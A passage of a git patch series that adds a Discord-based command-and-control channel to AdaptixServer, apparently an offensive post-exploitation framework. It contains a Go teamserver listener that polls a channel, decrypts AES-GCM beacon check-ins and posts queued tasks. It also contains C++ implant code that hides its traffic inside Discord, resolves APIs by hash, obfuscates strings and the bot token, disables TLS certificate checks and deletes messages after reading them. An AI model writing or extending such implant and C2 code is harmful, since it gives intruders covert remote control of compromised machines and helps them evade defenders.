l.transport.Config.Cleanup, + } + + err := json.NewEncoder(&buffer).Encode(profile) + if err != nil { + return nil, err + } + /// END CODE HERE + + return buffer.Bytes(), nil +} + +func (l *Listener) InternalHandler(data []byte) (string, error) { + var agentId = "" + + /// START CODE HERE + + /// END CODE HERE + + return agentId, nil +} + +func validConfig(config string) error { + var conf ConfigDiscord + err := json.Unmarshal([]byte(config), &conf) + if err != nil { + return err + } + + if conf.BotToken == "" { + return errors.New("bot_token is required") + } + + if conf.ChannelBeacon == "" { + return errors.New("channel_beacon is required") + } + matchChan, _ := regexp.MatchString("^[0-9]+$", conf.ChannelBeacon) + if !matchChan { + return errors.New("channel_beacon must be a numeric Discord channel ID") + } + + if conf.ChannelTasks == "" { + return errors.New("channel_tasks is required") + } + matchChan, _ = regexp.MatchString("^[0-9]+$", conf.ChannelTasks) + if !matchChan { + return errors.New("channel_tasks must be a numeric Discord channel ID") + } + + if conf.WebhookUrl == "" { + return errors.New("webhook_url is required") + } + matchWebhook, _ := regexp.MatchString("^https://discord\\.com/api/webhooks/", conf.WebhookUrl) + if !matchWebhook { + return errors.New("webhook_url must be a valid Discord webhook URL") + } + + if conf.PollInterval < 1 || conf.PollInterval > 60 { + return errors.New("poll_interval must be between 1 and 60 seconds") + } + + match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey) + if len(conf.EncryptKey) != 64 || !match { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") + } + + return nil +} diff --git a/AdaptixServer/extenders/beacon_listener_discord/pl_transport.go b/AdaptixServer/extenders/beacon_listener_discord/pl_transport.go new file mode 100644 index 000000000..3dc88fbfb --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/pl_transport.go @@ -0,0 +1,394 @@ +package main + +import ( + "crypto/aes" + "crypto/cipher" + "encoding/base64" + "encoding/binary" + "encoding/json" + "errors" + "fmt" + "io" + "net/http" + "strings" + "sync" + "time" +) + +type Listener struct { + transport *TransportDiscord +} + +type ConfigDiscord struct { + BotToken string `json:"bot_token"` + ChannelBeacon string `json:"channel_beacon"` + ChannelTasks string `json:"channel_tasks"` + WebhookUrl string `json:"webhook_url"` + PollInterval int `json:"poll_interval"` + Cleanup bool `json:"cleanup"` + EncryptKey string `json:"encrypt_key"` + + // Derived (not serialized to JSON) + encryptKeyBytes []byte `json:"-"` +} + +type TransportDiscord struct { + Name string + Config ConfigDiscord + Active bool + stopChan chan struct{} + client *http.Client + mu sync.Mutex +} + +// Discord API message structure +type DiscordMessage struct { + Id string `json:"id"` + Content string `json:"content"` +} + +// Discord API send message body +type DiscordSendBody struct { + Content string `json:"content"` +} + +const ( + discordAPIBase = "https://discord.com/api/v10" + // Discord rate limit: 5 requests / 2 seconds per channel + apiDelay = 500 * time.Millisecond + // Max message content size (Discord limit is 2000 chars, base64 overhead ~33%) + maxMessageSize = 1900 +) + +func (t *TransportDiscord) Start(ts Teamserver) error { + t.mu.Lock() + defer t.mu.Unlock() + + if t.Active { + return errors.New("transport already active") + } + + // Decode encrypt key + var err error + if len(t.Config.encryptKeyBytes) == 0 { + return errors.New("encrypt key not initialized") + } + + t.client = &http.Client{ + Timeout: 30 * time.Second, + } + + t.stopChan = make(chan struct{}) + t.Active = true + + fmt.Printf(" Started listener '%s': discord (beacon=%s, tasks=%s, poll=%ds)\n", + t.Name, t.Config.ChannelBeacon, t.Config.ChannelTasks, t.Config.PollInterval) + + go t.pollLoop(ts) + + _ = err + return nil +} + +func (t *TransportDiscord) Stop() error { + t.mu.Lock() + defer t.mu.Unlock() + + if !t.Active { + return nil + } + + close(t.stopChan) + t.Active = false + fmt.Printf(" Stopped listener '%s': discord\n", t.Name) + return nil +} + +func (t *TransportDiscord) pollLoop(ts Teamserver) { + ticker := time.NewTicker(time.Duration(t.Config.PollInterval) * time.Second) + defer ticker.Stop() + + for { + select { + case <-t.stopChan: + return + case <-ticker.C: + t.pollMessages(ts) + } + } +} + +func (t *TransportDiscord) pollMessages(ts Teamserver) { + messages, err := t.getMessages(t.Config.ChannelBeacon) + if err != nil { + fmt.Printf("[discord:%s] Error polling beacon channel: %v\n", t.Name, err) + return + } + + for _, msg := range messages { + content := strings.TrimSpace(msg.Content) + if content == "" { + continue + } + + t.processMessage(ts, msg) + + // Rate limit delay between processing messages + time.Sleep(apiDelay) + } +} + +func (t *TransportDiscord) processMessage(ts Teamserver, msg DiscordMessage) { + content := strings.TrimSpace(msg.Content) + + // The beacon sends messages as: base64(beat_data) + "|" + base64(body_data) + // Using | separator instead of \n (newline breaks JSON content) + parts := strings.SplitN(content, "|", 2) + if len(parts) == 0 { + return + } + + beatB64 := strings.TrimSpace(parts[0]) + var bodyB64 string + if len(parts) > 1 { + bodyB64 = strings.TrimSpace(parts[1]) + } + + // Decode beat + beatCrypt, err := base64.StdEncoding.DecodeString(beatB64) + if err != nil || len(beatCrypt) < 5 { + fmt.Printf("[discord:%s] Failed to decode beat from message %s: %v\n", t.Name, msg.Id, err) + goto CLEANUP + } + + { + agentType, agentId, beat, err := t.decryptBeat(beatCrypt) + if err != nil { + fmt.Printf("[discord:%s] Failed to decrypt beat from message %s: %v\n", t.Name, msg.Id, err) + goto CLEANUP + } + + // Decode body data if present + var bodyData []byte + if bodyB64 != "" { + bodyData, err = base64.StdEncoding.DecodeString(bodyB64) + if err != nil { + fmt.Printf("[discord:%s] Failed to decode body from message %s: %v\n", t.Name, msg.Id, err) + goto CLEANUP + } + } + + // Create agent if new + if !Ts.TsAgentIsExists(agentId) { + _, err = Ts.TsAgentCreate(agentType, agentId, beat, t.Name, "discord", true) + if err != nil { + fmt.Printf("[discord:%s] Failed to create agent %s: %v\n", t.Name, agentId, err) + goto CLEANUP + } + } + + // Update tick + _ = Ts.TsAgentSetTick(agentId, t.Name) + + // Process body data + if len(bodyData) > 0 { + _ = Ts.TsAgentProcessData(agentId, bodyData) + } + + // Get pending tasks for this agent + responseData, err := Ts.TsAgentGetHostedAll(agentId, 0x1900000) // 25 MB + if err != nil { + fmt.Printf("[discord:%s] Failed to get tasks for agent %s: %v\n", t.Name, agentId, err) + goto CLEANUP + } + + // Send tasks back via tasks channel + if len(responseData) > 0 { + encoded := base64.StdEncoding.EncodeToString(responseData) + + // Discord messages have a 2000 char limit, split if needed + err = t.sendChunkedMessage(t.Config.ChannelTasks, encoded) + if err != nil { + fmt.Printf("[discord:%s] Failed to send tasks to agent %s: %v\n", t.Name, agentId, err) + } + } + } + +CLEANUP: + // Delete the processed message if cleanup is enabled + if t.Config.Cleanup { + time.Sleep(apiDelay) + err := t.deleteMessage(t.Config.ChannelBeacon, msg.Id) + if err != nil { + fmt.Printf("[discord:%s] Failed to delete message %s: %v\n", t.Name, msg.Id, err) + } + } +} + +func (t *TransportDiscord) decryptBeat(ciphertext []byte) (string, string, []byte, error) { + block, err := aes.NewCipher(t.Config.encryptKeyBytes) + if err != nil { + return "", "", nil, errors.New("aes cipher error") + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", "", nil, errors.New("gcm error") + } + + nonceSize := gcm.NonceSize() + if len(ciphertext) < nonceSize+gcm.Overhead() { + return "", "", nil, errors.New("beat ciphertext too short") + } + + nonce, ct := ciphertext[:nonceSize], ciphertext[nonceSize:] + plaintext, err := gcm.Open(nil, nonce, ct, nil) + if err != nil { + return "", "", nil, errors.New("aes-gcm decrypt error") + } + + if len(plaintext) < 8 { + return "", "", nil, errors.New("beat plaintext too short") + } + + agentType := uint(binary.BigEndian.Uint32(plaintext[:4])) + agentId := uint(binary.BigEndian.Uint32(plaintext[4:8])) + beat := plaintext[8:] + + return fmt.Sprintf("%08x", agentType), fmt.Sprintf("%08x", agentId), beat, nil +} + +// getMessages retrieves messages from a Discord channel using the Bot API +func (t *TransportDiscord) getMessages(channelId string) ([]DiscordMessage, error) { + url := fmt.Sprintf("%s/channels/%s/messages?limit=50", discordAPIBase, channelId) + + req, err := http.NewRequest("GET", url, nil) + if err != nil { + return nil, err + } + + req.Header.Set("Authorization", "Bot "+t.Config.BotToken) + req.Header.Set("Content-Type", "application/json") + + resp, err := t.client.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + + if resp.StatusCode == 429 { + // Rate limited, back off + return nil, errors.New("discord rate limited") + } + + if resp.StatusCode != 200 { + body, _ := io.ReadAll(resp.Body) + return nil, fmt.Errorf("discord API error %d: %s", resp.StatusCode, string(body)) + } + + var messages []DiscordMessage + err = json.NewDecoder(resp.Body).Decode(&messages) + if err != nil { + return nil, err + } + + return messages, nil +} + +// sendMessage posts a message to a Discord channel using the Bot API +func (t *TransportDiscord) sendMessage(channelId string, content string) error { + url := fmt.Sprintf("%s/channels/%s/messages", discordAPIBase, channelId) + + body := DiscordSendBody{Content: content} + jsonBody, err := json.Marshal(body) + if err != nil { + return err + } + + req, err := http.NewRequest("POST", url, strings.NewReader(string(jsonBody))) + if err != nil { + return err + } + + req.Header.Set("Authorization", "Bot "+t.Config.BotToken) + req.Header.Set("Content-Type", "application/json") + + resp, err := t.client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + + if resp.StatusCode == 429 { + return errors.New("discord rate limited") + } + + if resp.StatusCode != 200 && resp.StatusCode != 201 { + respBody, _ := io.ReadAll(resp.Body) + return fmt.Errorf("discord API error %d: %s", resp.StatusCode, string(respBody)) + } + + return nil +} + +// sendChunkedMessage splits a large message into Discord-compatible chunks +// Each chunk is raw base64 (no prefix) — the beacon concatenates all chunks +// in order (oldest first) and base64-decodes the result. +// Chunks are split at 4-byte boundaries to keep valid base64. +func (t *TransportDiscord) sendChunkedMessage(channelId string, content string) error { + if len(content) <= maxMessageSize { + return t.sendMessage(channelId, content) + } + + // Split at base64-safe boundary (multiple of 4) + chunkSize := (maxMessageSize / 4) * 4 // round down to 4-byte boundary + + for len(content) > 0 { + end := chunkSize + if end > len(content) { + end = len(content) + } + + chunk := content[:end] + content = content[end:] + + err := t.sendMessage(channelId, chunk) + if err != nil { + return fmt.Errorf("failed to send chunk: %v", err) + } + + time.Sleep(apiDelay) + } + + return nil +} + +// deleteMessage removes a message from a Discord channel +func (t *TransportDiscord) deleteMessage(channelId string, messageId string) error { + url := fmt.Sprintf("%s/channels/%s/messages/%s", discordAPIBase, channelId, messageId) + + req, err := http.NewRequest("DELETE", url, nil) + if err != nil { + return err + } + + req.Header.Set("Authorization", "Bot "+t.Config.BotToken) + + resp, err := t.client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + + if resp.StatusCode == 429 { + return errors.New("discord rate limited") + } + + // 204 No Content is the expected success response for DELETE + if resp.StatusCode != 204 && resp.StatusCode != 200 { + respBody, _ := io.ReadAll(resp.Body) + return fmt.Errorf("discord API error %d: %s", resp.StatusCode, string(respBody)) + } + + return nil +} From b518b7e7a719e4e09e46291b1b1fd67fec977df3 Mon Sep 17 00:00:00 2001 From: En3nr4 Date: Fri, 1 May 2026 20:46:43 +0200 Subject: [PATCH 04/11] feat: add Discord connector for beacon agent ConnectorDiscord.cpp/h: Discord bot API-based C2 connector for the beacon, enabling communication through Discord channels as a covert transport. --- .../src_beacon/beacon/ConnectorDiscord.cpp | 882 ++++++++++++++++++ .../src_beacon/beacon/ConnectorDiscord.h | 79 ++ 2 files changed, 961 insertions(+) create mode 100644 AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp create mode 100644 AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp new file mode 100644 index 000000000..3b90e4623 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp @@ -0,0 +1,882 @@ +#include "ConnectorDiscord.h" +#include "ApiLoader.h" +#include "ApiDefines.h" +#include "Obfuscate.h" +#include "ProcLoader.h" +#include "Encoders.h" +#include "utils.h" +#include "config.h" +#include "DebugLog.h" + + +// ============================================================================ +// Local helpers (same pattern as ConnectorHTTP.cpp) +// ============================================================================ + +static DWORD _slen(const CHAR* str) +{ + DWORD i = 0; + if (str != NULL) + for (; str[i]; i++); + return i; +} + +static void _scopy(CHAR* dst, const CHAR* src, DWORD len) +{ + for (DWORD i = 0; i < len; i++) + dst[i] = src[i]; +} + +static int _sfind(const CHAR* haystack, DWORD haystackLen, const CHAR* needle, DWORD needleLen) +{ + if (needleLen == 0 || needleLen > haystackLen) + return -1; + for (DWORD i = 0; i <= haystackLen - needleLen; i++) { + DWORD j = 0; + while (j < needleLen && haystack[i + j] == needle[j]) + j++; + if (j == needleLen) + return (int)i; + } + return -1; +} + + +// ============================================================================ +// operator new / delete +// ============================================================================ + +void* ConnectorDiscord::operator new(size_t sz) +{ + void* p = MemAllocLocal(sz); + return p; +} + +void ConnectorDiscord::operator delete(void* p) noexcept +{ + MemFreeLocal(&p, sizeof(ConnectorDiscord)); +} + + +// ============================================================================ +// Constructor +// ============================================================================ + +ConnectorDiscord::ConnectorDiscord() +{ + this->hSession = NULL; + this->recvData = NULL; + this->recvSize = 0; + this->beatData = NULL; + this->beatSize = 0; + this->beatSent = FALSE; + this->tokenObf = NULL; + this->tokenObfLen = 0; + + memset(this->discordHost, 0, sizeof(this->discordHost)); + memset(this->webhookPath, 0, sizeof(this->webhookPath)); + memset(this->tasksPath, 0, sizeof(this->tasksPath)); + memset(this->authHeader, 0, sizeof(this->authHeader)); + memset(this->tokenXorKey, 0, sizeof(this->tokenXorKey)); + + this->functions = (DISCORDFUNC*) ApiWin->LocalAlloc(LPTR, sizeof(DISCORDFUNC)); + + this->functions->LocalAlloc = ApiWin->LocalAlloc; + this->functions->LocalReAlloc = ApiWin->LocalReAlloc; + this->functions->LocalFree = ApiWin->LocalFree; + this->functions->LoadLibraryA = ApiWin->LoadLibraryA; + this->functions->GetLastError = ApiWin->GetLastError; + + HMODULE hWininetModule = this->functions->LoadLibraryA(OBF("wininet.dll")); + DBG("[*] ConnectorDiscord: wininet.dll=0x%p", hWininetModule); + if (hWininetModule) { + this->functions->InternetOpenA = (decltype(InternetOpenA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETOPENA); + this->functions->InternetConnectA = (decltype(InternetConnectA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCONNECTA); + this->functions->HttpOpenRequestA = (decltype(HttpOpenRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPOPENREQUESTA); + this->functions->HttpSendRequestA = (decltype(HttpSendRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPSENDREQUESTA); + this->functions->InternetSetOptionA = (decltype(InternetSetOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETSETOPTIONA); + this->functions->InternetQueryOptionA = (decltype(InternetQueryOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYOPTIONA); + this->functions->HttpQueryInfoA = (decltype(HttpQueryInfoA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPQUERYINFOA); + this->functions->InternetQueryDataAvailable = (decltype(InternetQueryDataAvailable)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYDATAAVAILABLE); + this->functions->InternetCloseHandle = (decltype(InternetCloseHandle)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCLOSEHANDLE); + this->functions->InternetReadFile = (decltype(InternetReadFile)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETREADFILE); + } +} + + +// ============================================================================ +// XOR helper — in-place XOR with key +// ============================================================================ + +void ConnectorDiscord::XorBuffer(BYTE* buf, ULONG len, BYTE* key, ULONG keyLen) +{ + for (ULONG i = 0; i < len; i++) + buf[i] ^= key[i % keyLen]; +} + + +// ============================================================================ +// ParseWebhookUrl — extract host + path from webhook URL +// Input: "https://discord.com/api/webhooks/xxx/yyy" +// Output: discordHost = "discord.com", webhookPath = "/api/webhooks/xxx/yyy" +// ============================================================================ + +void ConnectorDiscord::ParseWebhookUrl(const CHAR* url) +{ + // Skip "https://" + const CHAR* p = url; + DWORD urlLen = _slen(url); + + // Find "://" + int schemeEnd = _sfind(p, urlLen, "://", 3); + if (schemeEnd >= 0) + p = url + schemeEnd + 3; + + // Find first '/' after host + const CHAR* slash = p; + while (*slash && *slash != '/') + slash++; + + DWORD hostLen = (DWORD)(slash - p); + if (hostLen >= sizeof(this->discordHost)) + hostLen = sizeof(this->discordHost) - 1; + _scopy(this->discordHost, p, hostLen); + this->discordHost[hostLen] = 0; + + // Path is everything from '/' onward + DWORD pathLen = _slen(slash); + if (pathLen >= sizeof(this->webhookPath)) + pathLen = sizeof(this->webhookPath) - 1; + _scopy(this->webhookPath, slash, pathLen); + this->webhookPath[pathLen] = 0; + + DBG("[*] Discord: parsed host=%s path=%s", this->discordHost, this->webhookPath); +} + + +// ============================================================================ +// DeobfuscateToken — XOR-decrypt bot_token into caller buffer +// ============================================================================ + +void ConnectorDiscord::DeobfuscateToken(CHAR* out, ULONG outSize) +{ + if (!this->tokenObf || this->tokenObfLen == 0) + return; + + ULONG copyLen = this->tokenObfLen; + if (copyLen >= outSize) + copyLen = outSize - 1; + + memcpy(out, this->tokenObf, copyLen); + out[copyLen] = 0; + this->XorBuffer((BYTE*)out, copyLen, this->tokenXorKey, sizeof(this->tokenXorKey)); +} + + +// ============================================================================ +// SetConfig — initialize connector, store profile, send initial beat +// ============================================================================ + +BOOL ConnectorDiscord::SetConfig(ProfileDiscord prof, BYTE* beat, ULONG bSize) +{ + this->profile = prof; + this->beatSize = bSize; + this->beatSent = FALSE; + + // Copy beat data + if (beat && bSize > 0) { + this->beatData = (BYTE*) this->functions->LocalAlloc(LPTR, bSize); + memcpy(this->beatData, beat, bSize); + } + + // Parse webhook URL + if (prof.webhook_url) + this->ParseWebhookUrl((const CHAR*) prof.webhook_url); + + // Build tasks path: "/api/v10/channels//messages?limit=10" + if (prof.channel_tasks_id) { + auto pfx = OBF("/api/v10/channels/"); + auto sfx = OBF("/messages?limit=10"); + DWORD pfxLen = _slen(pfx); + DWORD idLen = _slen((CHAR*) prof.channel_tasks_id); + DWORD sfxLen = _slen(sfx); + + if (pfxLen + idLen + sfxLen < sizeof(this->tasksPath)) { + DWORD off = 0; + _scopy(this->tasksPath + off, pfx, pfxLen); off += pfxLen; + _scopy(this->tasksPath + off, (CHAR*) prof.channel_tasks_id, idLen); off += idLen; + _scopy(this->tasksPath + off, sfx, sfxLen); off += sfxLen; + this->tasksPath[off] = 0; + } + DBG("[*] Discord: tasksPath=%s", this->tasksPath); + } + + // XOR-obfuscate bot_token in memory + if (prof.bot_token) { + ULONG tokenLen = _slen((CHAR*) prof.bot_token); + GenerateRandomBytes(this->tokenXorKey, sizeof(this->tokenXorKey)); + + this->tokenObf = (BYTE*) this->functions->LocalAlloc(LPTR, tokenLen + 1); + memcpy(this->tokenObf, prof.bot_token, tokenLen); + this->tokenObf[tokenLen] = 0; + this->tokenObfLen = tokenLen; + this->XorBuffer(this->tokenObf, tokenLen, this->tokenXorKey, sizeof(this->tokenXorKey)); + + // Wipe original token from profile memory + memset(prof.bot_token, 0, tokenLen); + } + + // Build auth header: "Authorization: Bot \r\n" + { + CHAR tokenBuf[200]; + memset(tokenBuf, 0, sizeof(tokenBuf)); + this->DeobfuscateToken(tokenBuf, sizeof(tokenBuf)); + + auto authPfx = OBF("Authorization: Bot "); + DWORD authPfxLen = _slen(authPfx); + DWORD tokenLen = _slen(tokenBuf); + + if (authPfxLen + tokenLen + 1 < sizeof(this->authHeader)) { + DWORD off = 0; + _scopy(this->authHeader + off, authPfx, authPfxLen); off += authPfxLen; + _scopy(this->authHeader + off, tokenBuf, tokenLen); off += tokenLen; + this->authHeader[off] = 0; + } + + DBG("[*] Discord: authHeader len=%lu token len=%lu token[0..5]=%c%c%c%c%c%c", + _slen(this->authHeader), tokenLen, + tokenBuf[0], tokenBuf[1], tokenBuf[2], tokenBuf[3], tokenBuf[4], tokenBuf[5]); + + // Wipe cleartext token + memset(tokenBuf, 0, sizeof(tokenBuf)); + } + + // Discord Bot API requires a DiscordBot User-Agent (403 with browser UA) + auto ua = OBF("DiscordBot (https://discord.com, 1.0)"); + this->hSession = this->functions->InternetOpenA(ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); + if (!this->hSession) { + DBG("[-] Discord: InternetOpenA FAILED err=%lu", this->functions->GetLastError()); + return FALSE; + } + DBG("[+] Discord: hSession=0x%p", this->hSession); + + // Send initial beat via webhook + if (this->beatData && this->beatSize > 0) { + LPSTR encBeat = b64_encode(this->beatData, this->beatSize); + if (encBeat) { + // Build JSON: {"content":""} + auto jPre = OBF("{\"content\":\""); + auto jSuf = OBF("\"}"); + DWORD preLen = _slen(jPre); + DWORD encLen = _slen(encBeat); + DWORD sufLen = _slen(jSuf); + + ULONG jsonLen = preLen + encLen + sufLen; + BYTE* jsonBuf = (BYTE*) this->functions->LocalAlloc(LPTR, jsonLen + 1); + DWORD off = 0; + _scopy((CHAR*)jsonBuf + off, jPre, preLen); off += preLen; + _scopy((CHAR*)jsonBuf + off, encBeat, encLen); off += encLen; + _scopy((CHAR*)jsonBuf + off, jSuf, sufLen); off += sufLen; + jsonBuf[off] = 0; + + auto ctHeader = OBF("Content-Type: application/json\r\n"); + + BYTE* resp = NULL; + ULONG respLen = 0; + auto _mPost = OBF("POST"); + BOOL ok = this->HttpsRequest(_mPost, this->webhookPath, ctHeader, jsonBuf, jsonLen, &resp, &respLen); + DBG("[*] Discord: beat POST %s (%lu bytes json)", ok ? "OK" : "FAIL", jsonLen); + + if (resp) { + memset(resp, 0, respLen); + this->functions->LocalFree(resp); + } + memset(jsonBuf, 0, jsonLen); + this->functions->LocalFree(jsonBuf); + memset(encBeat, 0, encLen); + this->functions->LocalFree(encBeat); + + this->beatSent = ok; + } + } + + return TRUE; +} + + +// ============================================================================ +// HttpsRequest — generic HTTPS request to discord.com +// Returns TRUE on 2xx, allocates outBuf with response body +// ============================================================================ + +BOOL ConnectorDiscord::HttpsRequest(const CHAR* method, const CHAR* path, + const CHAR* extraHeaders, BYTE* body, ULONG bodyLen, + BYTE** outBuf, ULONG* outLen) +{ + if (outBuf) *outBuf = NULL; + if (outLen) *outLen = 0; + + DWORD context = 0; + BOOL result = FALSE; + + HINTERNET hConnect = this->functions->InternetConnectA( + this->hSession, this->discordHost, INTERNET_DEFAULT_HTTPS_PORT, + NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)&context); + + if (!hConnect) { + DBG("[-] Discord: InternetConnectA FAILED err=%lu", this->functions->GetLastError()); + return FALSE; + } + + CHAR acceptTypes[] = { '*', '/', '*', 0 }; + LPCSTR rgpszAcceptTypes[] = { acceptTypes, 0 }; + DWORD flags = INTERNET_FLAG_SECURE | INTERNET_FLAG_RELOAD + | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_UI + | INTERNET_FLAG_KEEP_CONNECTION; + + HINTERNET hRequest = this->functions->HttpOpenRequestA( + hConnect, method, path, 0, 0, rgpszAcceptTypes, flags, (DWORD_PTR)&context); + + if (!hRequest) { + DBG("[-] Discord: HttpOpenRequestA FAILED err=%lu", this->functions->GetLastError()); + this->functions->InternetCloseHandle(hConnect); + return FALSE; + } + + // Ignore SSL cert errors (self-signed proxies, debugging) + { + DWORD dwFlags = 0; + DWORD dwBuffer = sizeof(DWORD); + this->functions->InternetQueryOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwBuffer); + dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID + | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_REVOCATION + | SECURITY_FLAG_IGNORE_WRONG_USAGE; + this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags)); + } + + // Build headers + DWORD hdrLen = 0; + CHAR* hdrBuf = NULL; + { + DWORD extraLen = extraHeaders ? _slen(extraHeaders) : 0; + hdrLen = extraLen; + hdrBuf = (CHAR*) this->functions->LocalAlloc(LPTR, hdrLen + 1); + DWORD off = 0; + if (extraLen) { + _scopy(hdrBuf + off, extraHeaders, extraLen); + off += extraLen; + } + hdrBuf[off] = 0; + hdrLen = off; + } + + BOOL sent = this->functions->HttpSendRequestA(hRequest, hdrBuf, hdrLen, (LPVOID)body, bodyLen); + DBG("[*] Discord: %s %s -> sent=%d", method, path, sent); + + if (hdrBuf) { + memset(hdrBuf, 0, hdrLen); + this->functions->LocalFree(hdrBuf); + } + + if (sent) { + // Check status code + CHAR statusCode[16]; + DWORD statusCodeLen = sizeof(statusCode); + this->functions->HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE, statusCode, &statusCodeLen, 0); + DBG("[*] Discord: response status=%s", statusCode); + + int code = 0; + for (int i = 0; statusCode[i] >= '0' && statusCode[i] <= '9'; i++) + code = code * 10 + (statusCode[i] - '0'); + + // Read response body (chunked or content-length) + ULONG totalRead = 0; + ULONG bufCapacity = 0x1000; // start with 4KB + BYTE* buffer = (BYTE*) this->functions->LocalAlloc(LPTR, bufCapacity); + DWORD available = 0; + + if (buffer) { + while (1) { + BOOL qr = this->functions->InternetQueryDataAvailable(hRequest, &available, 0, 0); + if (!qr || !available) + break; + + // Grow buffer if needed + if (totalRead + available > bufCapacity) { + bufCapacity = totalRead + available + 0x1000; + buffer = (BYTE*) this->functions->LocalReAlloc(buffer, bufCapacity, LMEM_MOVEABLE); + if (!buffer) break; + } + + DWORD readBytes = 0; + BOOL rr = this->functions->InternetReadFile(hRequest, buffer + totalRead, available, &readBytes); + if (!rr || !readBytes) + break; + totalRead += readBytes; + } + } + + if (totalRead > 0 && outBuf && outLen) { + *outBuf = buffer; + *outLen = totalRead; + } else if (buffer) { + this->functions->LocalFree(buffer); + } + + result = (code >= 200 && code < 300); + } + + this->functions->InternetCloseHandle(hRequest); + this->functions->InternetCloseHandle(hConnect); + + return result; +} + + +// ============================================================================ +// ExtractJsonString — find "key":"value" and return allocated copy of value +// Handles escaped quotes inside value. Caller must free result. +// ============================================================================ + +CHAR* ConnectorDiscord::ExtractJsonString(const CHAR* json, ULONG jsonLen, const CHAR* key, ULONG* outLen) +{ + *outLen = 0; + + // Build search pattern: "key":" + DWORD keyLen = _slen(key); + // Pattern: "":" + DWORD patLen = 1 + keyLen + 3; // quote + key + quote + colon + quote + CHAR pat[64]; + if (patLen >= sizeof(pat)) + return NULL; + + DWORD pi = 0; + pat[pi++] = '"'; + _scopy(pat + pi, key, keyLen); pi += keyLen; + pat[pi++] = '"'; + pat[pi++] = ':'; + pat[pi++] = '"'; + pat[pi] = 0; + + int pos = _sfind(json, jsonLen, pat, patLen); + if (pos < 0) { + // Try with space after colon: "key": " + pi = 0; + pat[pi++] = '"'; + _scopy(pat + pi, key, keyLen); pi += keyLen; + pat[pi++] = '"'; + pat[pi++] = ':'; + pat[pi++] = ' '; + pat[pi++] = '"'; + pat[pi] = 0; + patLen = pi; + pos = _sfind(json, jsonLen, pat, patLen); + if (pos < 0) + return NULL; + } + + // Value starts after the pattern + ULONG valStart = pos + patLen; + ULONG valEnd = valStart; + + // Find closing unescaped quote + while (valEnd < jsonLen) { + if (json[valEnd] == '"' && (valEnd == 0 || json[valEnd - 1] != '\\')) + break; + valEnd++; + } + + ULONG valLen = valEnd - valStart; + if (valLen == 0) + return NULL; + + CHAR* val = (CHAR*) this->functions->LocalAlloc(LPTR, valLen + 1); + _scopy(val, json + valStart, valLen); + val[valLen] = 0; + *outLen = valLen; + + return val; +} + + +// ============================================================================ +// DeleteMessage — DELETE /api/v10/channels/{id}/messages/{msg_id} +// ============================================================================ + +void ConnectorDiscord::DeleteMessage(const CHAR* messageId) +{ + if (!messageId || !this->profile.channel_tasks_id) + return; + + // Build path: /api/v10/channels//messages/ + auto pfx = OBF("/api/v10/channels/"); + auto mid = OBF("/messages/"); + DWORD pfxLen = _slen(pfx); + DWORD chanLen = _slen((CHAR*) this->profile.channel_tasks_id); + DWORD midLen = _slen(mid); + DWORD msgLen = _slen(messageId); + + ULONG pathLen = pfxLen + chanLen + midLen + msgLen; + CHAR* delPath = (CHAR*) this->functions->LocalAlloc(LPTR, pathLen + 1); + DWORD off = 0; + _scopy(delPath + off, pfx, pfxLen); off += pfxLen; + _scopy(delPath + off, (CHAR*) this->profile.channel_tasks_id, chanLen); off += chanLen; + _scopy(delPath + off, mid, midLen); off += midLen; + _scopy(delPath + off, messageId, msgLen); off += msgLen; + delPath[off] = 0; + + DBG("[*] Discord: DELETE %s", delPath); + + BYTE* resp = NULL; + ULONG respLen = 0; + auto _mDelete = OBF("DELETE"); + this->HttpsRequest(_mDelete, delPath, this->authHeader, NULL, 0, &resp, &respLen); + + if (resp) { + memset(resp, 0, respLen); + this->functions->LocalFree(resp); + } + memset(delPath, 0, pathLen); + this->functions->LocalFree(delPath); +} + + +// ============================================================================ +// PollTasks — GET tasks channel, parse messages, base64-decode content, +// concatenate into recvData, optionally delete messages +// ============================================================================ + +void ConnectorDiscord::PollTasks() +{ + if (!this->tasksPath[0]) + return; + + BYTE* resp = NULL; + ULONG respLen = 0; + + auto _mGet = OBF("GET"); + BOOL ok = this->HttpsRequest(_mGet, this->tasksPath, this->authHeader, NULL, 0, &resp, &respLen); + if (!ok) { + // Log error response body for debugging + if (resp && respLen > 0) { + DBG("[-] Discord: PollTasks GET failed, body=%.*s", respLen > 200 ? 200 : (int)respLen, (CHAR*)resp); + memset(resp, 0, respLen); + this->functions->LocalFree(resp); + } else { + DBG("[-] Discord: 